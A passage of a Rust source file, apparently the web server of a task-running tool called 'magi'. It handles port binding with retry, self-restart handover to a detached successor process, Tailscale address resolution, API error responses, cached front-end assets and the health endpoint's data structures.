1795    }
1796}
1797
1798impl Drop for TalkTurnGuard {
1799    fn drop(&mut self) {
1800        if self.released {
1801            return;
1802        }
1803        // Lease first, then the in-process slot (see `release`).
1804        drop(self.lease.take());
1805        if let Ok(mut live) = self.turns.lock() {
1806            live.live.remove(&self.talk);
1807            live.queued.remove(&self.talk);
1808        }
1809    }
1810}
1811
1812/// Releases a resume claim, so a run is resumable again after the attempt.
1813struct ResumeGuard {
1814    run: String,
1815    resuming: Arc<Mutex<HashSet<String>>>,
1816}
1817
1818impl Drop for ResumeGuard {
1819    fn drop(&mut self) {
1820        if let Ok(mut live) = self.resuming.lock() {
1821            live.remove(&self.run);
1822        }
1823    }
1824}
1825
1826/// Bind the port, waiting briefly for a predecessor to let go of it.
1827///
1828/// A restart hands the address from one process to the next, and the old one
1829/// holds its listener until it unwinds. A single `bind` can lose that race,
1830/// and for a restart triggered from a phone that means the deck never comes
1831/// back with no terminal around to say why.
1832///
1833/// Bounded, and only for the one error a wait can fix: anything else fails at
1834/// once, because retrying it would turn a clear message into a silence.
1835async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1836    const WINDOW: Duration = Duration::from_secs(10);
1837    const GAP: Duration = Duration::from_millis(250);
1838
1839    let deadline = std::time::Instant::now() + WINDOW;
1840    let mut said = false;
1841    loop {
1842        match tokio::net::TcpListener::bind(socket).await {
1843            Ok(listener) => return Ok(listener),
1844            Err(e)
1845                if e.kind() == std::io::ErrorKind::AddrInUse
1846                    && std::time::Instant::now() < deadline =>
1847            {
1848                if !said {
1849                    said = true;
1850                    tracing::info!(
1851                        "{socket} is still held - waiting up to {}s for it, \
1852                         which is what a restart looks like from here",
1853                        WINDOW.as_secs()
1854                    );
1855                }
1856                tokio::time::sleep(GAP).await;
1857            }
1858            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1859        }
1860    }
1861}
1862
1863/// Signalled when an upgrade has replaced the binary and the successor should
1864/// take this address over. One per process: there is one address to hand on.
1865static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1866
1867/// Set to `1` on the successor when the loop was running at handover.
1868const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1869/// Keep a dynamically assigned listener address stable across replacement.
1870const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1871
1872/// Whether the environment value asks for the loop to be resumed.
1873fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1874    value.is_some_and(|v| v == "1")
1875}
1876
1877/// Start this binary again with the same arguments, detached.
1878///
1879/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1880/// so the address is already free when the successor binds it. The first
1881/// attempt at this spawned the successor two hundred milliseconds before
1882/// exiting instead, and the released binary - which has no bind retry - died
1883/// on "address already in use" with its stdio sent to null, so the deck
1884/// simply never came back.
1885///
1886/// Detached and without inherited stdio: the successor has to outlive this
1887/// process, and must not hold open a pipe a terminal is waiting on.
1888///
1889/// The scheduler is restarted separately; execution workers are not awaited.
1890///
1891/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1892/// than sent to null: a supervisor's redirection only ever held the first
1893/// generation's descriptors, so every later generation logged nowhere. The
1894/// pid of the child is returned so the handover log can name it.
1895fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1896    let args: Vec<String> = std::env::args().skip(1).collect();
1897    updater::log_step(
1898        home,
1899        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1900    );
1901    let log_path = home.join(WEB_LOG);
1902    let open_log = || {
1903        std::fs::create_dir_all(home)?;
1904        std::fs::OpenOptions::new()
1905            .create(true)
1906            .append(true)
1907            .open(&log_path)
1908    };
1909    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1910        Ok(pair) => (
1911            std::process::Stdio::from(pair.0),
1912            std::process::Stdio::from(pair.1),
1913        ),
1914        Err(e) => {
1915            updater::log_warn(
1916                home,
1917                &format!(
1918                    "could not open {}: {e}; the successor logs nowhere",
1919                    log_path.display()
1920                ),
1921            );
1922            (std::process::Stdio::null(), std::process::Stdio::null())
1923        }
1924    };
1925
1926    let mut cmd = std::process::Command::new(exe);
1927    cmd.env_remove(RESUME_LOOP_ENV);
1928    cmd.env(RESTART_PORT_ENV, port.to_string());
1929    cmd.args(&args)
1930        .stdin(std::process::Stdio::null())
1931        .stdout(out)
1932        .stderr(err);
1933    #[cfg(windows)]
1934    {
1935        use std::os::windows::process::CommandExt as _;
1936        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1937        // and Ctrl-C in the old terminal must not reach the successor.
1938        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1939    }
1940    let child = cmd.spawn().context("start the successor")?;
1941    Ok(child.id())
1942}
1943
1944/// File under `<home>` the successor's output is appended to.
1945const WEB_LOG: &str = "web.log";
1946
1947/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1948/// stored by an earlier `notify_one` is consumed by the first poll, so the
1949/// signal is never missed and never wakes a second time.
1950async fn wait_for_handover(signal: &Notify) {
1951    signal.notified().await;
1952}
1953
1954/// Serve the UI independently from scheduler and execution workers.
1955/// A restart releases its listener before starting the successor.
1956pub async fn serve(opts: Opts) -> Result<()> {
1957    // Capture before self-replacement: current_exe may later name a removed
1958    // image on Linux or the renamed old image on Windows.
1959    crate::worker::remember_current_executable()?;
1960    let executable = std::env::current_exe().context("find the installed web executable")?;
1961    let (addr, warning) = resolve_bind(&opts.bind);
1962    if let Some(warning) = warning {
1963        tracing::warn!("{warning}");
1964    }
1965
1966    // Process-global, and therefore set exactly once, here: the report route
1967    // must never emit escape sequences into a browser, and toggling the flag
1968    // per request would race with a concurrent request rendering its own
1969    // report. Startup is the only moment at which no request can observe the
1970    // change. Nothing in the server turns colour back on.
1971    report::set_color(false);
1972
1973    let repo = normalize_default_repo(opts.repo).await;
1974    let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1975    // The listener and periodic checker share one upgrade gate and state.
1976    let home = ui.home.clone();
1977    let admissions = Arc::clone(&ui.admissions);
1978    // Settles a progress record a predecessor left non-terminal - either this
1979    // *is* the successor `spawn_successor` started, or the previous process
1980    // died mid-handover. Before the router starts answering, so the very
1981    // first `/api/health` a phone gets from this process already reflects it.
1982    updater::reconcile_after_restart(&home);
1983    updater::log_step(
1984        &home,
1985        &format!(
1986            "web process started (version {}); handover log {}, successor output {}",
1987            env!("CARGO_PKG_VERSION"),
1988            updater::log_path(&home).display(),
1989            home.join(WEB_LOG).display()
1990        ),
1991    );
1992    updater::spawn_watchdog(home.clone());
1993    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1994    // `spawn_update_check` does at startup only ever runs once: after that,
1995    // `/api/health`'s `update` field - and the phone's "Update & restart"
1996    // button, which reads the very same cache - would stay frozen on
1997    // whatever that single check found, no matter how many releases ship
1998    // afterwards. The periodic checker below keeps it current and is
1999    // cancelled when the listener finishes.
2000    let port = if opts.port == 0 {
2001        std::env::var(RESTART_PORT_ENV)
2002            .ok()
2003            .and_then(|value| value.parse::<u16>().ok())
2004            .filter(|port| *port != 0)
2005            .unwrap_or(0)
2006    } else {
2007        opts.port
2008    };
2009    let socket = SocketAddr::new(addr, port);
2010    let listener = bind_waiting(socket).await?;
2011    let bound = listener.local_addr().context("read bound web address")?;
2012    let port = bound.port();
2013    let url = format!("http://{bound}");
2014    tracing::info!(
2015        "magi web UI on {url} - there is no authentication, so anyone who can \
2016         reach this address can file and hold tasks: the tailnet is the \
2017         security boundary"
2018    );
2019    // A legacy predecessor may request first-migration scheduler startup.
2020    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
2021        ui.start_detached_loop()
2022            .await
2023            .map_err(|e| anyhow::anyhow!(e.message))?;
2024    }
2025    if opts.open {
2026        // The URL alone on stdout, for a caller that wants to open it. magi
2027        // does not spawn a browser: on the machine this usually runs on there
2028        // is no display, and a failed launch would be the only output.
2029        println!("{url}");
2030    }
2031
2032    // On its own task, so nothing this function awaits can stop the address
2033    // being answered. `hand_over` is where it is given up.
2034    let recheck_ui = ui.clone();
2035    let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2036    let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2037    let interrupted = async {
2038        if tokio::signal::ctrl_c().await.is_err() {
2039            // No handler on this platform, so there is no signal to act on.
2040            // Never resolving is the safe answer: a failed registration must
2041            // not masquerade as the operator asking for a shutdown and take
2042            // the UI down on startup.
2043            std::future::pending::<()>().await;
2044        }
2045    };
2046    let handover = wait_for_handover(&HANDOVER);
2047    let outcome = tokio::select! {
2048        joined = &mut served => match joined {
2049            Ok(outcome) => outcome.context("serve the web UI"),
2050            Err(e) => Err(e).context("the task serving the web UI ended"),
2051        },
2052        () = interrupted => {
2053            recheck.abort();
2054            tracing::info!("shutting down the web UI; detached workers continue");
2055            close_admissions(&admissions).await;
2056            served.abort();
2057            let _ = served.await;
2058            Ok(())
2059        }
2060        () = handover => {
2061            recheck.abort();
2062            let successor_home = home.clone();
2063            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2064        }
2065    };
2066    recheck.abort();
2067    let _ = recheck.await;
2068    updater::log_step(
2069        &home,
2070        &match &outcome {
2071            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2072            Err(e) => format!("serve: returning an error: {e:#}"),
2073        },
2074    );
2075    outcome
2076}
2077
2078/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
2079/// process's own working directory is not a git checkout at all - the
2080/// checkout [`repos::discover_verified`] finds instead.
2081///
2082/// Only the unmodified default is ever replaced: an operator who named a
2083/// directory outright, git checkout or not, gets exactly that directory
2084/// back, and the same story downstream (a talk whose briefing embeds a
2085/// non-git directory, and an agent that has to ask the operator where the
2086/// real repository is) that has always told them so - substituting a guess
2087/// for an explicit answer would be a second, silent opinion about what they
2088/// meant. There is no instruction or task text yet to match against this
2089/// early, so only [`repos::discover_verified`]'s own-repository tier can
2090/// ever settle this - the hint tier never fires here.
2091///
2092/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
2093/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
2094/// or a git installation that is broken in exactly the way that made the
2095/// original `canonical` check above fail too - so it is re-checked with
2096/// `git::toplevel` before it is ever used in place of the operator's own
2097/// directory.
2098async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2099    if repo != FsPath::new(".") {
2100        return repo;
2101    }
2102    let Ok(canonical) = repo.canonicalize() else {
2103        return repo;
2104    };
2105    if git::toplevel(&canonical).await.is_ok() {
2106        return repo;
2107    }
2108    let Some(home) = dirs::home_dir() else {
2109        return repo;
2110    };
2111    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2112        Some(found) => {
2113            tracing::info!(
2114                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2115                canonical.display(),
2116                found.path.display(),
2117                found.reason,
2118            );
2119            found.path
2120        }
2121        None => repo,
2122    }
2123}
2124
2125/// Close new ingress and finish only transactions publishing durable work.
2126/// The writer waits for owned admission guards, not task or chat turn leases.
2127async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2128    *admissions.write().await = true;
2129}
2130
2131/// Restart only the scheduler and web listener, never their execution workers.
2132/// The old listener must be fully released before the successor is started.
2133async fn hand_over(
2134    home: &FsPath,
2135    admissions: &tokio::sync::RwLock<bool>,
2136    served: tokio::task::JoinHandle<std::io::Result<()>>,
2137    successor: impl FnOnce() -> Result<u32>,
2138) -> Result<()> {
2139    close_admissions(admissions).await;
2140    if let Some(mut progress) = updater::read_progress(home) {
2141        progress.advance(updater::Stage::Restarting);
2142        progress.detail =
2143            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2144        updater::write_progress_logged(home, &progress);
2145    }
2146    updater::log_step(
2147        home,
2148        "restarting scheduler without parking execution workers",
2149    );
2150    let scheduler = daemon::restart_detached(home).await;
2151    if let Err(error) = &scheduler {
2152        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2153        updater::log_warn(
2154            home,
2155            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2156        );
2157    }
2158    updater::log_step(home, "releasing the web listener");
2159    served.abort();
2160    let _ = served.await;
2161    updater::log_step(home, "web listener released; starting the successor");
2162    match successor() {
2163        Ok(pid) => {
2164            updater::log_step(home, &format!("successor started, pid {pid}"));
2165            scheduler
2166        }
2167        Err(e) => {
2168            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2169            Err(e)
2170        }
2171    }
2172}
2173
2174/// Resolve `--bind` to an address, plus a warning when the answer is not what
2175/// the operator asked for.
2176///
2177/// Split out from [`serve`] because the interesting half - deciding whether
2178/// Tailscale gave us something usable - is testable without opening a socket.
2179pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2180    match bind {
2181        Bind::Addr(addr) => (*addr, None),
2182        Bind::Auto => match tailscale_ip() {
2183            Ok(ip) => (IpAddr::V4(ip), None),
2184            Err(why) => (
2185                IpAddr::V4(Ipv4Addr::LOCALHOST),
2186                Some(format!(
2187                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2188                     local-only and a phone cannot reach it; start Tailscale \
2189                     or pass --bind <addr>"
2190                )),
2191            ),
2192        },
2193    }
2194}
2195
2196/// This machine's Tailscale IPv4, or why there is not one.
2197///
2198/// `tailscale ip -4` is a local call against the running daemon and returns in
2199/// milliseconds, so it is fine to make it synchronously before the server
2200/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2201/// CGNAT block Tailscale assigns from, and anything else on that output would
2202/// be a different tool answering.
2203fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2204    let out = std::process::Command::new("tailscale")
2205        .args(["ip", "-4"])
2206        .quiet()
2207        .output()
2208        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2209    if !out.status.success() {
2210        let why = String::from_utf8_lossy(&out.stderr);
2211        let why = why.trim();
2212        return Err(format!(
2213            "`tailscale ip -4` failed ({}){}",
2214            out.status,
2215            if why.is_empty() {
2216                String::new()
2217            } else {
2218                format!(": {why}")
2219            }
2220        ));
2221    }
2222    String::from_utf8_lossy(&out.stdout)
2223        .lines()
2224        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2225        .find(is_tailnet)
2226        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2227}
2228
2229/// Is this address in the CGNAT block Tailscale hands out from?
2230fn is_tailnet(ip: &Ipv4Addr) -> bool {
2231    let o = ip.octets();
2232    o[0] == 100 && (64..=127).contains(&o[1])
2233}
2234
2235/// What every handler returns. Spelled out because `Result` in this crate is
2236/// `anyhow::Result`, and a handler's error is a status code as much as a
2237/// message.
2238type ApiResult<T> = std::result::Result<T, ApiError>;
2239
2240/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2241#[derive(Debug)]
2242struct ApiError {
2243    status: StatusCode,
2244    message: String,
2245    text_reason: Option<crate::question_delivery::UnavailableReason>,
2246}
2247
2248impl ApiError {
2249    /// The client asked for something malformed.
2250    fn bad_request(message: impl Into<String>) -> Self {
2251        Self {
2252            text_reason: None,
2253            status: StatusCode::BAD_REQUEST,
2254            message: message.into(),
2255        }
2256    }
2257
2258    /// No such run or task.
2259    fn not_found(message: impl Into<String>) -> Self {
2260        Self {
2261            text_reason: None,
2262            status: StatusCode::NOT_FOUND,
2263            message: message.into(),
2264        }
2265    }
2266
2267    /// Someone else owns the thing the client wants to change.
2268    /// Re-badge an error whose default mapping is wrong for this route.
2269    fn with_status(mut self, status: StatusCode) -> Self {
2270        self.status = status;
2271        self
2272    }
2273
2274    /// A rules violation from a domain type, reported as the caller's fault.
2275    /// `Question::answer` rejects an unoffered choice, and that is a bad
2276    /// request, not a server error.
2277    fn bad_request_from(e: anyhow::Error) -> Self {
2278        Self::bad_request(format!("{e:#}"))
2279    }
2280
2281    fn conflict(message: impl Into<String>) -> Self {
2282        Self {
2283            text_reason: None,
2284            status: StatusCode::CONFLICT,
2285            message: message.into(),
2286        }
2287    }
2288
2289    /// Our fault, or the disk's.
2290    fn internal(message: impl Into<String>) -> Self {
2291        Self {
2292            text_reason: None,
2293            status: StatusCode::INTERNAL_SERVER_ERROR,
2294            message: message.into(),
2295        }
2296    }
2297}
2298
2299impl From<anyhow::Error> for ApiError {
2300    /// Errors from `queue` and `run` carry their context chain, and the whole
2301    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2302    /// value at line 3" is a message an operator can act on, and there is no
2303    /// secret in a path on a single-user tailnet.
2304    fn from(e: anyhow::Error) -> Self {
2305        Self::internal(format!("{e:#}"))
2306    }
2307}
2308
2309impl IntoResponse for ApiError {
2310    fn into_response(self) -> Response {
2311        let mut body = serde_json::json!({ "error": self.message });
2312        if let Some(reason) = self.text_reason {
2313            body["code"] = serde_json::json!("question_text_unavailable");
2314            body["reason"] = serde_json::json!(reason);
2315        }
2316        (self.status, Json(body)).into_response()
2317    }
2318}
2319
2320/// Run a handler's filesystem work off the executor.
2321///
2322/// Every route that touches the disk goes through here rather than each one
2323/// arguing about whether its own read is small enough. Uniform because the
2324/// expensive case is not rare: `run.json` for a finished competition holds
2325/// every judgement, deliberation turn and review round, so listing a few
2326/// hundred runs is megabytes of parsing, and the executor threads doing it are
2327/// the same ones serving the change stream of every other connected phone.
2328async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2329where
2330    T: Send + 'static,
2331{
2332    #[cfg(test)]
2333    let job = request_cost::carry(job);
2334    match tokio::task::spawn_blocking(job).await {
2335        Ok(result) => result,
2336        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2337    }
2338}
2339
2340/// Bulk readers have a bounded, separate execution lane. A cold health
2341/// index or multiple slow list clients cannot occupy the pool serving detail.
2342async fn bulk_blocking<T>(
2343    slots: Arc<tokio::sync::Semaphore>,
2344    job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2345) -> ApiResult<T>
2346where
2347    T: Send + 'static,
2348{
2349    let permit = slots
2350        .acquire_owned()
2351        .await
2352        .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2353    let (send, receive) = tokio::sync::oneshot::channel();
2354    #[cfg(test)]
2355    let job = request_cost::carry(job);
2356    let runtime = tokio::runtime::Handle::current();
2357    std::thread::Builder::new()
2358        .name("web-bulk".into())
2359        .spawn(move || {
2360            let _permit = permit;
2361            // Capacity observations schedule their independent blocking job.
2362            let _runtime = runtime.enter();
2363            let _ = send.send(job());
2364        })
2365        .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2366    receive
2367        .await
2368        .map_err(|_| ApiError::internal("Bulk reader failed"))?
2369}
2370
2371/// Cache policy for the three compiled-in front-end files.
2372///
2373/// The whole interface is `include_str!`ed into the binary, so its content
2374/// changes only when the binary does - and a phone that keeps a copy is
2375/// welcome to, right up until the deck is replaced. Without a single cache
2376/// header, browsers were free to invent their own policy, and one did:
2377/// yukimemi's phone went on showing "Candidates must be folded before
2378/// deleting. Run `magi fold` first." - a sentence deleted two releases
2379/// earlier - from a run detail served by a deck that no longer contained it.
2380/// The delete button he was told about was right there, and unreachable.
2381///
2382/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2383/// every time, the answer is a 304 costing one small round trip while the
2384/// deck is unchanged, and the moment it is replaced the tag differs and the
2385/// new interface arrives. Correctness over bytes - this is one file of a few
2386/// tens of kilobytes on a tailnet, and being a version behind is not a
2387/// cosmetic problem when the difference is whether a button exists.
2388const ASSET_CACHE: &str = "no-cache, must-revalidate";
2389
2390/// `ETag` for the compiled-in assets, distinct per build.
2391///
2392/// The version alone would leave a locally built deck - `cargo install
2393/// --path .` twice at the same version, which is the normal way to iterate -
2394/// serving a stale tag for changed bytes. The build timestamp is what makes
2395/// two builds of `0.3.0` differ.
2396fn asset_etag() -> &'static str {
2397    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2398        format!(
2399            "\"{}-{}\"",
2400            env!("CARGO_PKG_VERSION"),
2401            // Length is a cheap, deterministic stand-in for a hash: the
2402            // three files are compiled in together, so any edit to any of
2403            // them almost certainly changes the total, and a rebuild is what
2404            // this needs to track rather than every possible byte pattern.
2405            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2406        )
2407    });
2408    &TAG
2409}
2410
2411/// Headers for a compiled-in asset of `mime`.
2412fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2413    [
2414        (header::CONTENT_TYPE, mime),
2415        (header::CACHE_CONTROL, ASSET_CACHE),
2416        (header::ETAG, asset_etag()),
2417    ]
2418}
2419
2420/// Serve a compiled-in asset, answering `304` when the client already has it.
2421///
2422/// axum does not compare `If-None-Match` for us, and a header the server sets
2423/// but never honours is worse than none: the phone revalidates on every load
2424/// and is handed the whole file back each time. Doing the comparison is what
2425/// makes `must-revalidate` cost one small round trip rather than the
2426/// interface.
2427fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2428    let tag = asset_etag();
2429    let known = headers
2430        .get(header::IF_NONE_MATCH)
2431        .and_then(|v| v.to_str().ok())
2432        // A revalidating client may send several, and a proxy may weaken the
2433        // tag to `W/"..."`; matching on containment covers both without
2434        // parsing the grammar.
2435        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2436    if known {
2437        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2438    }
2439    (asset_headers(mime), body).into_response()
2440}
2441
2442async fn index(headers: header::HeaderMap) -> Response {
2443    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2444}
2445
2446async fn app_css(headers: header::HeaderMap) -> Response {
2447    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2448}
2449
2450async fn app_js(headers: header::HeaderMap) -> Response {
2451    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2452}
2453
2454/// What `/api/health` answers.
2455#[derive(Debug, Serialize)]
2456struct HealthView {
2457    version: &'static str,
2458    home: String,
2459    queue_rev: u64,
2460    runs_rev: u64,
2461    /// The same revisions [`events`] streams for the question and talk
2462    /// stores.
2463    ///
2464    /// Here because this route is what the front end falls back to when the
2465    /// change stream is not up - it re-polls health on a timer and on wake, and
2466    /// takes the revisions from the answer. Without these the fallback
2467    /// compares `undefined` against `undefined` for both stores, decides
2468    /// nothing moved, and a phone with a dead stream never learns that a
2469    /// question was asked or that a talk took a turn. `queue_rev` and
2470    /// `runs_rev` above have always been here for exactly this reason; the rule
2471    /// is that every revision the stream carries, this route carries too.
2472    questions_rev: u64,
2473    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2474    talks_rev: u64,
2475    /// See [`HealthView::questions_rev`]. The notification centre's store.
2476    notifications_rev: u64,
2477    /// Notifications nobody has read yet: the bell's badge before
2478    /// `/api/notifications` has answered.
2479    notifications_unread: usize,
2480    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2481    /// is not on disk anywhere, so a phone with no change stream has no other
2482    /// way to notice that the loop it is waiting on was started from another
2483    /// device.
2484    loop_rev: u64,
2485    /// Runs on disk whose state this build cannot parse - almost always a
2486    /// schema bump, occasionally a run killed mid-write.
2487    ///
2488    /// Reported because the list silently skips them, and "no competitions
2489    /// yet" is a lie when six of them are sitting in the runs directory. The
2490    /// terminal deck learned the same lesson: a run that fails to parse must
2491    /// not disappear from the count.
2492    runs_unreadable: usize,
2493    /// The disk, and what the runs and their worktrees occupy on it.
2494    ///
2495    /// This is the incident the janitor exists for: magi alone put 30 GB into
2496    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2497    /// is exactly where the operator learns "the disk is the constraint" -
2498    /// the diagnosis that a run is being held for want of space has to be
2499    /// checkable on the same screen.
2500    disk: Option<serde_json::Value>,
2501    /// Questions nobody has answered yet, including ones an owner talked
2502    /// back on and is now waiting for the agent's reply to. A round trip
2503    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2504    /// while the ball is in the agent's court - see
2505    /// [`crate::ask::Questions::count_open`].
2506    questions_open: usize,
2507    /// Of those, how many actually need the owner right now: open, and not
2508    /// [`crate::ask::Question::waiting_on_agent`].
2509    ///
2510    /// The one number that means "nothing will happen until a human acts" -
2511    /// a parked run consumes nothing and progresses never - and the count the
2512    /// ask bar, the nav badge and the document title fall back to before
2513    /// `/api/questions` has answered, so those notification channels clear
2514    /// the instant the owner asks back and reappear the instant the agent
2515    /// replies, instead of sitting lit for however long the agent thinks.
2516    questions_needs_owner: usize,
2517    daemon: DaemonView,
2518    /// The independently controllable scheduler, as `/api/loop` reports it.
2519    ///
2520    /// Here so a phone that has just woken needs one request to know whether
2521    /// anything is going to happen at all: `daemon` says a loop is alive
2522    /// somewhere, and this says whether it is one this UI can stop.
2523    #[serde(rename = "loop")]
2524    looping: LoopView,
2525    /// Whether a release newer than this build is known, and which.
2526    ///
2527    /// From [`updater::Checker::cached_update`] - the same throttled state the
2528    /// CLI's `notify` mode banners from - never a live check: this route is
2529    /// polled every few seconds, and a live check on each poll would spend
2530    /// GitHub's rate limit before the operator finished reading the strip.
2531    update: UpdateView,
2532    /// The self-upgrade this deck last set in motion, or `null` before the
2533    /// first one. Read off disk, so the successor can report what its
2534    /// predecessor started.
2535    upgrade: Option<UpgradeProgressView>,
2536    /// Detached jobs survive replacement of this web process. Each reports
2537    /// its own immutable executable generation rather than the web version.
2538    jobs: Vec<WorkerView>,
2539    upgrade_request_error: Option<UpgradeRequestFailure>,
2540}
2541
2542/// Public execution metadata only. Job payloads contain private configuration
2543/// and must never be returned by the health endpoint.
2544#[derive(Debug, Serialize)]
2545struct WorkerView {
2546    id: String,
2547    kind: String,
2548    key: String,
2549    pid: Option<u32>,
2550    status: crate::worker::Status,
2551    generation: String,
2552    version: Option<String>,
2553    queue_owned: bool,
2554}
2555
2556impl From<crate::worker::Job> for WorkerView {
2557    fn from(job: crate::worker::Job) -> Self {
2558        let queue_owned = job.kind == "task"
2559            && job
2560                .payload
2561                .get("standalone")
2562                .and_then(serde_json::Value::as_bool)
2563                != Some(true);
2564        Self {
2565            id: job.id,
2566            kind: job.kind,
2567            key: job.key,
2568            pid: job.pid,
2569            status: job.status,
2570            generation: job.generation,
2571            version: job.version,
2572            queue_owned,
2573        }
2574    }
2575}
2576
2577/// What `/api/health` knows about a release newer than this build.
2578///
2579/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2580/// is already the newest" from "never checked" - both are `None` - and the
2581/// phone needs to tell those apart to decide whether the deck can be trusted
2582/// to have an opinion at all.
2583#[derive(Debug, Clone, Serialize)]
2584struct UpdateView {
2585    /// A newer release is known to exist.
2586    available: bool,
2587    /// Its tag, when `available`.
2588    to: Option<String>,
2589}
2590
2591/// [`updater::Progress`] as `/api/health` reports it.
2592#[derive(Debug, Serialize)]
2593struct UpgradeProgressView {
2594    trigger: updater::UpgradeTrigger,
2595    stage: updater::Stage,
2596    from: String,
2597    to: Option<String>,
2598    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2599    /// the step it is finishing before the address is handed over.
2600    waiting_on: Option<String>,
2601    started_at: Timestamp,
2602    updated_at: Timestamp,
2603    detail: Option<String>,
2604    /// Seconds the stage has outlived its allowance, when it has - see
2605    /// [`updater::stall`]. `null` while the stage is moving normally.
2606    stuck_for_secs: Option<i64>,
2607    /// Which kind of stuck: `never_entered` (hand_over left no record of
2608    /// starting) or `stopped_beating`. `null` when not stuck.
2609    stuck_kind: Option<updater::StallKind>,
2610    /// `hand_over` is alive and waiting on the loop: however long that takes,
2611    /// it is not an overdue upgrade.
2612    handover_alive: bool,
2613}
2614
2615/// Whether [`run_update_recheck`] may act at all this tick.
2616///
2617/// The same two conditions [`updater::Checker::new`] and
2618/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2619/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2620/// GitHub from this process" - on a button press or on a timer alike.
2621fn should_spawn_recheck(cfg: &Update) -> bool {
2622    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2623}
2624
2625/// Whether this tick should actually reach the network, once checking itself
2626/// is allowed.
2627///
2628/// An upgrade already in flight must not be raced by a check that discovers
2629/// a *newer* release while one is still installing - a phone watching
2630/// `/api/health` would see the answer change out from under the upgrade it
2631/// already asked for. Past that, [`updater::Checker::should_check`] is the
2632/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2633/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2634/// polling period, is what keeps this task's network use to at most once per
2635/// `[update] interval` regardless of how often it wakes up.
2636fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2637    if progress.is_some_and(|p| !p.stage.terminal()) {
2638        return false;
2639    }
2640    checker.should_check()
2641}
2642
2643/// How long [`run_update_recheck`] sleeps before its next wake-up.
2644///
2645/// A fraction of the configured `[update] interval` rather than a fixed
2646/// number: a fixed sleep longer than a short custom interval would leave the
2647/// deck waiting on its own wake-up rather than on `should_check`, so an
2648/// operator who set `interval = "1m"` to make the UI catch up quickly would
2649/// not see that take effect until the next restart - exactly the bug this
2650/// task exists to fix, just moved one level down. Scaling with the interval
2651/// keeps the wake-up prompt relative to what was actually configured, while
2652/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2653/// still what caps the network calls themselves at one per interval,
2654/// regardless of how often this fires.
2655fn recheck_poll_period(cfg: &Update) -> Duration {
2656    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2657}
2658
2659#[derive(Debug, PartialEq, Eq)]
2660enum AutoUpgradeDecision {
2661    Skip(&'static str),
2662    Wait,
